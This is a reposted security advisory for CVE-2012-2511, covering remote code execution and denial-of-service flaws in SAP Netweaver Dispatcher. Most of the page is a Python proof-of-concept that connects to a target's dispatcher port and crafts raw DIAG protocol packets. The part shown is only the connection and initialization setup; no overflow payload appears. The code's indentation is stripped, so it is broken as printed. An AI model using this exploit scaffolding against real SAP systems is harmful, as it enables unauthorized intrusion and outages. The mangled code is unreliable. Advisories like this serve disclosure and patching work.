SAP Netweaver Dispatcher Multiple Exploits

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Subjects of Interest:
Vulnerability Management
SQL Injection
Buffer Overflows
Active Network Scanning
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Multiple vulnerabilities have been found in SAP Netweaver that could allow an unauthenticated, remote attacker to execute arbitrary code and lead to denial of service conditions.

Credit:
The information has been provided by Core Security.

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Vulnerable Systems:
* SAP Netweaver Dispatcher 7.0 EHP1/2

import socket, struct
from optparse import OptionParser

# Parse the target options
parser = OptionParser()
parser.add_option("-l", "--hostname", dest="hostname", help="Hostname", default="localhost")
parser.add_option("-p", "--port", dest="port", type="int", help="Port number", default=3200)
(options, args) = parser.parse_args()

def send_packet(sock, packet):
packet = struct.pack("!I", len(packet)) + packet
sock.send(packet)

def receive(sock):
length = sock.recv(4)
(length, ) = struct.unpack("!I", length)
data = ""
while len(data)<length:
data+= sock.recv(length)
return (length, data)

def initialize(sock):
diagheader = "\x00\x10\x00\x00\x00\x00\x00\x00"
user_connect = "\x10\x04\x02\x00\x0c\x00\x00\x00\xc8\x00\x00\x04\x4c\x00\x00\x0b\xb8"
support_data = "\x10\x04\x0b\x00\x20"
support_data+= "\xff\x7f\xfa\x0d\x78\xb7\x37\xde\xf6\x19\x6e\x93\x25\xbf\x15\x93"
support_data+= "\xef\x73\xfe\xeb\xdb\x51\xed\x01\x00\x00\x00\x00\x00\x00\x00\x00"
dpheader = "\xff\xff\xff\xff\x0a\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
dpheader+= struct.pack("I", len(diagheader + user_connect + support_data))
dpheader+= "\x00\xff\xff\xff\xff\xff\xff"
dpheader+= "terminalXXXXXXX"
dpheader+= "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
send_packet(sock, dpheader + diagheader + user_connect + support_data)

def send_message(sock, message):
diagheader = "\x00\x00\x00\x00\x00\x00\x00\x00"
step = "\x10\x04\x26\x00\x04\x00\x00\x00\x01"
eom = "\x0c"
send_packet(sock, diagheader + step + message + eom)

CVE Information:
2012-2511

Disclosure Timeline:
Published: 2012-08-21

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